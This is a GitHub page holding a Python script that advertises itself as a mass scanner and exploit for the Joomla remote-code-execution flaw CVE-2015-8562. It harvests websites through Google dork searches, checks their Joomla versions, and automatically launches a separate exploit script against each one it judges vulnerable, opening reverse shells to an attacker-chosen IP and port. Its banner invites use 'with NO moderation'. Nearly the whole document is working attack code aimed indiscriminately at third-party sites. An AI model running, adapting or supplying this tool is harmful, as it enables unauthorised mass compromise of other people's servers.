-
Notifications
You must be signed in to change notification settings - Fork 21
/
Copy pathjoomlaCVE-2015-8562.py
267 lines (234 loc) · 8.86 KB
/
joomlaCVE-2015-8562.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
# [+] Joomla! RCE - Mass scanner & exploit
# [+] CVE 2015-8562
# [+] TWA - Third World Attacker
#
# How it works:
#
# 1. The scanner make a search on google, based on your dork.
# 2. The parser function extract the links and save them to joomlaRCE_results.txt
# 3. The fuzzing function check version of joomla and PHP of each link and save them under joomlaRCE_targets,
# if they are possible vulnerable.
# 4. The back connect function execute the exploit RCE on each possible target, to get the back connection.
# (Make sure at this time you already have a terminal open listening)
#
#
# Observations:
#
# 1. Make sure the exploit is in the same directory of scanner with the correct name.
# 2. If you whant to change the country of google (is commented on the code), you can. But
# you won't be able to use --period argument. This happens because only 1 element, i couldn't
# map only by the xpath selector, i needed to use the xpath and the language of the text. If
# you fix it, send to me your solution ;)
#
#
# Dependencys list that i remember: requests, selenium, beautifoulsoup4, docopt and Firefox browser :D
#
# Video PoC: https://www.youtube.com/watch?v=BreW_scnaYs
#
# Exemples dorks:
#
# - dork1: inurl:'index.php?option='
# - dork2: allinurl:'/language/en-GB/'
#
#
"""
Usage:
joomlaCVE-2015-8562.py --dork=DORK [--period=Check help menu for list of options] --revshell='IP' --port=PORT
joomlaCVE-2015-8562.py --help
joomlaCVE-2015-8562.py --version
Options:
-h --help Open help menu.
-v --version Show scanner version.
-d --dork='DORK' your favorite g00gle dork :)
-p --period='PERIOD' lastYear
lastWeek
lastMonth
last24h
-r --revshell='IP' the ip for back connect
-p --port=PORT the port will be used for back connect
"""
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from bs4 import BeautifulSoup
import time
import os
from urlparse import urlparse
import socket
import sys
import re
import requests
from docopt import docopt, DocoptExit
list_of_targets = []
lista = []
class JoomlaScanner:
def search(self,dork,period):
self.banner()
print '[+] Starting g00gle search engine.. \n'
# Config settings for driver of selenium
driver = webdriver.Firefox()
driver.wait = WebDriverWait(driver, 20)
# Config of xpaths that will be used to make the search
searchTools = "hdtb-tls"
option_lastYear = "//li[contains(@id,'qdr_y')]"
option_lastMonth = "//li[contains(@id,'qdr_m')]"
option_lastWeek = "//li[contains(@id,'qdr_w')]"
option_last24h = "//li[contains(@id,'qdr_d')]"
botonAnyTime = "//div[contains(@class,'hdtb-mn-hd') and .//text()='Em qualquer data']"
navigationBar = ".//*[@id='nav']"
# Making the search
# On this line: driver.get("https://www.google.com.br")
# You can change the google domain, but the --period parameter will only works, if the google is .br
# Ex: driver.get("https://www.google.ru")
# So in this case, will bring all results, and can't be filtered using --period parameter.
driver.get("https://www.google.com.br")
search_bar = driver.find_element_by_name("q")
search_bar.send_keys(dork)
search_bar.send_keys(Keys.RETURN)
if period:
driver.wait.until(EC.presence_of_element_located((By.XPATH,navigationBar)))
time.sleep(1)
driver.wait.until(EC.presence_of_element_located((By.ID,searchTools))).click()
time.sleep(2)
driver.wait.until(EC.presence_of_element_located((By.XPATH,botonAnyTime))).click()
time.sleep(2)
if period == 'lastYear':
driver.wait.until(EC.presence_of_element_located((By.XPATH,option_lastYear))).click()
elif period == 'lastMonth':
driver.wait.until(EC.presence_of_element_located((By.XPATH,option_lastMonth))).click()
elif period == 'lastWeek':
driver.wait.until(EC.presence_of_element_located((By.XPATH,option_lastWeek))).click()
else:
driver.wait.until(EC.presence_of_element_located((By.XPATH,option_last24h))).click()
self.resultParser(driver)
def resultParser(self,driver):
global list_of_targets
global lista
print '[+] Starting parse search engine..'
print '[+] Take a look at the screen to wait the captcha shows, and type it'
print '[+] The default time to wait you type the captcha is 20s, but you can change it at line: driver.wait = WebDriverWait(driver, 20)'
try:
driver.wait.until(EC.presence_of_element_located((By.ID,"pnnext")))
next_page = driver.find_element_by_id("pnnext")
except:
next_page = 'xxx'
pass
while next_page != None:
html = driver.page_source
soup = BeautifulSoup(html, "lxml")
links = soup.find_all("a", {"href": True})
for link in links:
x = str(link).split("onmousedown")[0].split("\"")[1]
if ('http://' in x) and ('google.com' not in x) and (x.split("?")[0] not in lista):
x = x.replace('&', '&')
lista.append(x.split("?")[0])
list_of_targets.append(x)
try:
next_page = driver.find_element_by_id("pnnext")
next_page.click()
time.sleep(2)
driver.wait.until(EC.presence_of_element_located((By.XPATH,".//*[@id='nav']")))
except:
break
driver.close()
print '[+] Removing duplicate targets.. \n'
list_of_targets = set(list_of_targets)
arq = open('joomlaRCE_results.txt','a')
for i in list_of_targets:
arq.write(i+'\n')
arq.close()
def version(self,version):
return tuple(map(int, (version.split("."))))
def fuzzer(self,url,revshell,port):
headers = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0'}
urlp = urlparse(url)
url = urlp.scheme+'://'+urlp.netloc
joomver1 = '/language/en-GB/en-GB.xml'
joomver2 = '/administrator/manifests/files/joomla.xml'
joomla_version = '90.90.90'
try:
req = requests.get(url,headers=headers,verify=False, timeout=10)
# First attempt to get joomla version
try:
req2 = requests.get(req.url+joomver1,headers=headers)
soup = BeautifulSoup(req2.content,'lxml')
joomla_version = soup.version.string
# Second attemtp to get joomla version
if joomla_version == '90.90.90':
req = requests.get(req.url+joomver2,headers=headers)
soup = BeautifulSoup(req.content,'lxml')
joomla_version = soup.version.string
except:
# EXCEPT WHEN CAN'T GET THE JOOMLA VERSION
pass
except:
# ERROR WHEN CAN'T CONNECT TO TARGET
print '[-] Couldn\'t connect to target: '+url+'\n'
pass
# PARSING TARGETS THAT COULD GET THE JOOMLA! VERSION
try:
if self.version(joomla_version) < self.version('3.4.6'):
print '[+] Target: '+req.url
print '[+] Possible vulnerable'
print '[+] Joomla: '+joomla_version+'\n'
arq = open('joomlaRCE_targets.txt','a+')
arq.write('python joomla-rce-2-shell.py -t '+req.url+' -l '+revshell+' -p '+port+'\n')
arq.close()
except:
pass
def back_connect(self):
# Removing duplicate targets
targets_seen = set()
outfile = open('x.txt', 'w')
for line in open('joomlaRCE_targets.txt', 'r'):
if line not in targets_seen:
outfile.write(line)
targets_seen.add(line)
outfile.close()
os.rename('x.txt','joomlaRCE_targets.txt')
# Trying backconnect on targets
arq = open('joomlaRCE_targets.txt','r')
for i in arq.readlines():
i = i.rstrip()
os.system(i)
def banner(self):
os.system('clear')
print "\n"
print "\033[32m\tMMP\"\"MM\"\"YMM `7MMF' A `7MF' db\" "
print "\033[32m\tP' MM `7 `MA ,MA ,V ;MM: "
print "\033[33m\t MM VM: ,VVM: ,V ,V^MM. "
print "\033[33m\t MM MM. M' MM. M' ,M `MM "
print "\033[33m\t MM `MM A' `MM A' AbmmmqMA "
print "\033[31m\t MM :MM; :MM; A' VML "
print "\033[31m\t .JMML. VF VF .AMA. .AMMA.\033[39m"
print "\t TWA Corp. Joomla RCE Scan Version 0.2 - 2016"
print "\t Use with NO moderation :D"
print "\t Third World Attacker\n"
def main():
count = 0
myScan = JoomlaScanner()
try:
arguments = docopt(__doc__, version="TWA Corp. Joomla RCE Scan Version 0.1 - 2016")
dork = arguments['--dork']
period = arguments['--period']
if (period != None) and ((period != 'lastYear') and (period != 'lastMonth') and (period != 'lastWeek') and (period != 'last24h')):
raise DocoptExit
revshell = arguments['--revshell']
port = arguments['--port']
os.system('rm -rf joomlaRCE_results.txt')
os.system('rm -rf joomlaRCE_targets.txt')
myScan.search(dork,period)
print "[+] Start testing possible targets..."
arq=open('joomlaRCE_results.txt','r')
for url in arq.readlines():
url = url.rstrip()
myScan.fuzzer(url,revshell,port)
print "[+] Trying back connect on possible targets..."
myScan.back_connect()
except DocoptExit as e:
myScan.banner()
os.system('python joomlaCVE-2015-8562.py --help')
if __name__ == '__main__':
main()